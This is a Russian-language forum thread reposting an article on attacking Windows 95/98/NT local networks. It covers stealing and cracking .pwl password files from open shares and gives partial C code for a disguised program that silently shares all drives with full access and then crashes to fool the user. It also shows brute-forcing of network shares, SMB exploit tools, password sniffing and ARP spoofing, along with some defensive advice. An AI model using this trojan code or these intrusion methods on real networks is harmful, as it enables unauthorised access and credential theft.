![]() |
|
| Правила Форума редакция от 22.06.2020 |
|
|||||||
|
|
Окажите посильную поддержку, мы очень надеемся на вас. Реквизиты для переводов ниже. |
|
![]() |
|
|
Опции темы | Опции просмотра |
Language
|
|
|
#1
|
|
Guest
Сообщений: n/a
|
Введение.В этой статье произведена попытка отследить все недостатки в системе безопасности больших локальных сетей, базирующихся на машинах с ОС Windows95/98/Me/NT/W2k, в которых администрирование сильно затруднено в связи с большой численностью машин. Приведены примеры использования соответствующих инструментов для взлома, исходные тексты автора. Так же даются рекомендации по устранению проблем.
Итак, мы в сети. Поставим себя на место человека, которому все очень интересно... И с чего мы начнем? С исследования, конечно. Погуляем по сети, поглядим, где доступ только на чтение, а где и полный. Находим разные шары, доступные на чтение (например, с именем "install", "temp"), а на запись если и находим, то это что-то типа "obmen" или "income", и путного ничего там нет. А основная масса ресурсов требует пароль. Но иногда натыкаемся шары с именем "c", "d"... Это нам очень интересно. Расшаренный в корне диск, это всегда приятно. Пока будем действовать примитивно. Первым делом находим папку "Windows" и вытягиваем оттуда все *.pwl файлы и сохраняем у себя на диске. По названиям этих файлов, по их размеру и количеству мы уже можем сделать кое-какие выводы. Например, файл oleg.pwl ясно дает понять как зовут человека, сидящего за этой машиной. Чем больше файл, тем больше в нем сохранено паролей к ресурсам. Если файлов PWL на машине штук пять, это значит что за машиной сидит довольно много людей. Хотя может быть и то, что эти файлы создались уже давно, а на машине валяются без применения. Ведь если вы первый раз входите в систему, для вас создается новый PWL, в котором будут храниться... Что мы можем найти в PWL? Начнем вскрытие. Берем любую программу для взлома паролей и действуем согласно инструкции. Что мы видим? PWL - это "копилка", в которую помещаются все пароли, которые пользователь вводит для доступа к удаленным ресурсам. Для машин, где используется для доступа в internet модем, это обычно так: (прим.: реальные пароли я забил знаком "X") (C) 11-Sep-1998y by Hard Wisdom "PWL's Hacker" v4.02 (1996,97,9 ~~~~~~~~~~~~~~ ¦ Enter the User Password: File '1.PWL' has size 948 bytes, version [W95osr2_Win98] for user '1' with password '' contains: -[Type]-[The resource location string]--------------[Password]- Dial *RnaMy ConnectionZ-top XXXXXXX Dial *RnaMy ConnectionZ-TOP XXXXXXX Dial *RnaMy ConnectionZTOP XXXXXXX Dial *RnaTiNET 1ZTOP XXXXXXXXXXX Dial *RnaTiNET 2ZTOP XXXXXXX Dial *RnaTiNET eoxars XXXXXXX Dial *RnaTiNETNeoXars XXXXXXX --------------------------------------------------------------- ¦ Indexed Entryes: 1; Number of resources: 7. Для машин, работающих в локальных сетях, например, так: File 'SANJA.PWL' has size 884 bytes, version [W95osr2_Win98] for user 'SANJA' with password 'QUAKE' contains: -[Type]-[The resource location string]--------------[Password]- Link ASHEMAIL XXXXXX Link ASHINTERNET XXXXXX Link ASHRED XXXXXX Link ASHTI_UART Dial ! crypt_Blizzard_Storm XXXXX Url/ www.xilinx.com/xilinx account XXXXXX:XXXXXX MAPI MAPI MAPI --------------------------------------------------------------- _ Indexed Entryes: 4; Number of resources: 7. Все пароли, хранящиеся в PWL, закрыты только одним паролем - тем, который вводится при входе в систему. И чаще всего его или нет, или он короткий (хотя всякое бывает). Поэтому мы легко их вскрываем и получаем доступ к другим машинам. Затем вытягиваем из них PWL и поступаем так же. И можно было бы сказать, что подбор паролей вручную морально устарел, но я очень часто успешно использовал этот метод. Так что, кто ищет, тот всегда найдет. Что тут можно посоветовать? Простым вариантом будет добавление символа "$" к имени ресурса, что сделает его невидимым для всех в сетевом окружении. Чем меньше человек знают о нем, тем меньше шансов быть атакованным. Но не стоит задавать простые имена типа "C$", так как их довольно часто проверяют взломщики. Немного творчества. Ну что же? Теперь мы имеем доступ к некоторым ресурсам. Что еще можно сделать? Например, переписать, куда только можно программку, которая при запуске сделает доступными все диски и на чтение, и на запись. Называем ее подходящим именем в расчете на то, что кто-то ее запустит. Вот что я написал для демонстрации данного метода. (Для того, чтобы кто попало не компилировал, я не даю полный листинг) --------------------------------------------------------------------- share_info_50 shinfo50; ZeroMemory(&shinfo50,sizeof(shinfo50)); shinfo50.shi50_type=STYPE_DISKTREE; shinfo50.shi50_flags=SHI50F_FULL | SHI50F_SYSTEM| SHI50F_PERSIST; shinfo50.shi50_remark=""; // Расшариваем 1-й диск lstrcpyn(shinfo50.shi50_netname,"TEMP1$",LM20_NNLE N+1); shinfo50.shi50_path="C:"; NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50)); // Расшариваем 2-й диск lstrcpyn(shinfo50.shi50_netname,"TEMP2$",LM20_NNLE N+1); shinfo50.shi50_path="D:"; NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50)); // Расшариваем 3-й диск lstrcpyn(shinfo50.shi50_netname,"TEMP3$",LM20_NNLE N+1); shinfo50.shi50_path="E:"; NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50)); FillMemory((VOID*)0xFFFFFFFF,1,0); // А это для того, чтобы программа вылетела "в трубу", и // пользователь подумал, что это просто сбой в системе. (но это // не обязательно) // P.S. Все это только для Win95/98/Me. Для NT нужно немного // модифицировать. --------------------------------------------------------------------- Теперь на жертву можно зайти так - "Выполнить", "comp_name emp1$" (это диск C). Что в этом удобного? Диск расшаривается с флагами SHI50F_FULL | SHI50F_SYSTEM| SHI50F_PERSIST, а имя ресурса заканчивается знаком "$". Это значит, что: 1) Мы имеем полный доступ. 2) Шара становится системной. Т.е. в проводнике (локально) не будет видно, что диск расшарен. 3) Шара не будет видна всем в сети. Можете поэкспериментировать с этой программкой и поставить себя теперь на место пользователя. Вот вы увидели файл, который не вы записывали. Вам сразу хочется узнать что это, и, если файл не нужен, удалить его. Вы запускаете и видите что-то типа "программа выполнила недопустимую инструкцию". Первая мысль обычно о том, что программа просто не работает. Вы со спокойной душой удаляете файл и даже не подозреваете, что темное дело уже сделано. Все. Вы под полным контролем. Тут не поможет никакой антивирус. Попробуйте зайти с другой машины на ваши диски. Теперь не забудьте удалить из реестра эти ресурсы. Они находятся в разделе HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentV ersionNetworkLanMan. Кстати, есть еще возможность создания reg файла, который автоматически создаст необходимые ключи в реестре. Но это слишком заметно, и вряд ли пользователь попадется на такую уловку. А метод с exe файлом работает довольно успешно. Я проводил эксперименты - многие попадались. |
|
| Реклама: | шкаф управления shuft zentec m245 карта регистров rtu | Мебельный магазин: кухонный стол маленький - Переходи на сайт! | круиз москва ярославль на теплоходе расписание цены | агутин фанзона | О чем фильм фьорд? |
|
|
#2
|
|
Guest
Сообщений: n/a
|
Ну а если на некоторые машины вы так и не смогли попасть, можно попробовать взломать пароли удаленно перебором. Для этого даже существуют специальные программки. Но переборщик паролей на сетевые ресурсы по словарю я не видел и писал его сам. Вот код, который подключает сетевой диск (Win9x only):
---------------------------------------------------------------------- // на входе параметры - char *resname, char *password DWORD RetVal; NETRESOURCE nr; nr.lpRemoteName=resname; nr.dwType=RESOURCETYPE_DISK; RetVal=WNetAddConnection2(&nr,password,NULL,CONNEC T_UPDATE_PROFILE); ---------------------------------------------------------------------- Немного теории. При использовании такого метода в случае, когда удаленная машина Win9x, перебор ведется довольно быстро. Если же вы пытаетесь подключиться к NT, существует некоторая задержка в случае неверной комбинации имя/пароль. Но если вы подключаетесь как администратор, насколько я помню, такой задержки нет. В то же время, все попытки (удачные/неудачные - в зависимости от настроек) регистрируются в журнале событий NT. Поэтому заранее стоит подумать о том, что таким способом можно переполнить журнал - это позволит злоумышленнику уничтожить более важную информацию в логах. Но не всегда нужен перебор всех вариантов паролей. Для машин Win95/98/Me дела обстоят намного хуже. В реализации авторизации SMB-сессии Microsoft допустила ошибку, поэтому, путем написания специального эксплоита, можно получить доступ к жертве, потратив на взлом пароля, примерно, столько времени, сколько необходимо затратить на подбор одного символа, умноженного на их количество. Вы можете увидеть программную реализацию использования этой ошибки, если в поисковом сервере наберете "PQWak". Он выдаст множество ссылок на эту программу. А если же вы хотите версию программы, написанную нашим программистом, можете искать по слову "xIntruder". Эта программа, в отличие от предыдущей, понимает русские символы в именах машин. Поиграйте с этими программами и не удивляйтесь, когда за одну секунду будет взломан пароль длинной в 7 символов. А затем, чтобы спалось спокойней, закачайте официальный патч от Microsoft и раздайте всем, кому только можно. Ссылка на патчи дана в конце документа. Вышеуказанные программы работают по протоколу TCP, устанавливая соединение со 139-м портом на жертве, и вручную формируя пакеты сессий. Если же в сети используется протокол IPX, приходится сложнее. У меня пока есть планы на счет реализации этого алгоритма в программе, работающей на протоколах и TCP, и IPX. А пока приведу возможные варианты инкапсуляции пакетов SMB: Используемый протокол: IP. Все системы - IP/TCP/Netbios/SMB Используемый протокол: IPX. NT - IPX/Netbios/SMB. Win9x (default) IPX(:NMPI)/SMB А теперь послушаем... Нельзя забывать, что путем простого сниффинга сети можно добыть огромное количество информации, в частности, пароли. К несчастью (для большинства), во многих протоколах на базе TCP, по старинке, пароль передается в открытом виде. К таким протоколам относятся telnet, ftp, pop3 и многие другие (примечание: если у вас есть желание исследовать какой-либо протокол и посмотреть "что же там внутри", вы можете использовать для этого мой инструмент "TCP_LOGGER"). На смену им пришли "ssh", "apop" и подобные, но полный переход на новые протоколы еще займет немало времени. Но все же, уже нельзя, как раньше, легко перехватывать пароли на SMB сессии. Они перестали передаваться в открытом виде. Эта проблема была в диалектах "LANMAN1.0" и др., а в более поздних, таких как "LANMAN2.1" и "NT LM 0.12" и используется шифрование пароля ключом, сгенерированным сервером, и по сети передается лишь hash-значение. Это, конечно, затрудняет взлом, но не делает его невозможным. Ведь затем можно попытаться подобрать пароль, перебирая возможные пароли и накладывая на него ключ сервера, сравнивая результат с имеющимся. При наличии быстрой машины и большого объема оперативной памяти, можно добиться очень высоких показателей скорости перебора. Приведу еще другой пример. Допустим, в вашем сегменте стоят машины с NT. Берем программу L0phtCrack и выбираем в меню "sniffing". Теперь она будет прослушивать все сетевые подключения и сохранять протокол в файл. Затем той же программкой и вскрываем их. Пример файла, который получается в результате использования для взлома программы L0phtCrack можно посмотреть здесь. Какие есть возможности усложнить жизнь взломщику? Во-первых, если в вашей сети используются только NT, и вам не нужно обеспечить возможность входа с машин Windows95/98/Me, в реестре можно подправить один ключ, касающийся с совместимости с LANMAN2.1, что позволит увеличить стойкость пароля, так как стандартно в паролях NT различается регистр символов, а в Windows9x - нет. Во-вторых, путем использования, например, свитчей вместо хабов. Повторители, хаб, коаксиал - это все, что формирует среду, образуя "collision domain". То есть, весь трафик является общим, что позволяет с любой машины перехватывать все пакеты, передающиеся какой угодно машиной в этом сегменте. В отличие от хаба, порты коммутатора разделяют "collision domain" и образуют "broadcast domain". Он работает с MAC адресами и на ходу стоит "route table". Поэтому пакет, адресованный какой-либо машине, будет передан на соответствующий порт свитча, а на остальных портах никаких событий не произойдет. Но помните(!), если в настойках не заданы жестко все MAC адреса, и свитч на лету обновляет таблицу соответствия интерфейсов портам, то остается возможность обмануть любую машину, послав ложный ARP, или ICMP пакет с сообщением о другом маршруте. Таким образом, мы можем перенаправить трафик на свой порт... более подробно об этом можно почитать в статьях на Сервере UInC. К чему все это? Снова представим себя на месте взломщика. Что мы можем полезного из всего извлечь? Если жертва имеет выход в internet, можно повесить туда программу, которая замэппит какой-нибудь порт на proxy. Это возможно даже в таких случаях, если до машины вы можете добраться только по IPX/SPX. Я так сам когда-то делал. Это был proxy из двух половинок с преобразованием TCP->SPX->TCP. (Просто для маршрутизации в сеть с выходом в internet использовался "Nowell Netware", работающий только с кадрами 802.3). А потом у других возникают вопросы - откуда берется трафик... Кстати, узнать, есть ли у машины доступ в Сеть можно довольно просто. Загляните, что там установлено в "Program Files", проверьте "Temporary Internet Files" (кэш). Узнать настройки можно, утянув реестр... Happy browsing! Маленький словарь. * Расшаривать - от англ. "share". * PWL - сокращение "password list file". * Патч - от англ. "patch" - заплата. * Сниффинг, сниффер - от англ. "sniff" - нюхать. * Замэппить - от англ. "map". Перенаправить трафик без изменений с локального порта на удаленный. Links. Патч от Microsoft исправляющий ошибку в работе SMB сессии можно скачать здесь: http://www.microsoft.com/technet/sec...n/ms00-072.asp PWL Hacker - http://www.uinc.ru/files/useful/pwl_h402.rar L0pht Crack - http://www.atstake.com/research/lc3/index.html L0pht Crack+ - http://lcp.chat.ru (русская бесплатная версия) |
|
![]() |
Похожие темы
|
||||
| Тема | Автор | Раздел | Ответов | Последнее сообщение |
| Программы для мониторинга локальных сетей | ANGEL OF FIRE | Локальные сети и их комплектующие | 38 | 23.08.2013 08:57 |
| Грозозащита локальных сетей. | DoubleSpace | Локальные сети и их комплектующие | 31 | 01.12.2007 17:12 |
| Новости оборудования в сфере локальных сетей | undertaker | Локальные сети и их комплектующие | 3 | 15.05.2007 00:12 |
| Пострение локальных сетей 10\100 Мбит\с | фій | Архив | 4 | 13.04.2006 10:39 |
|
|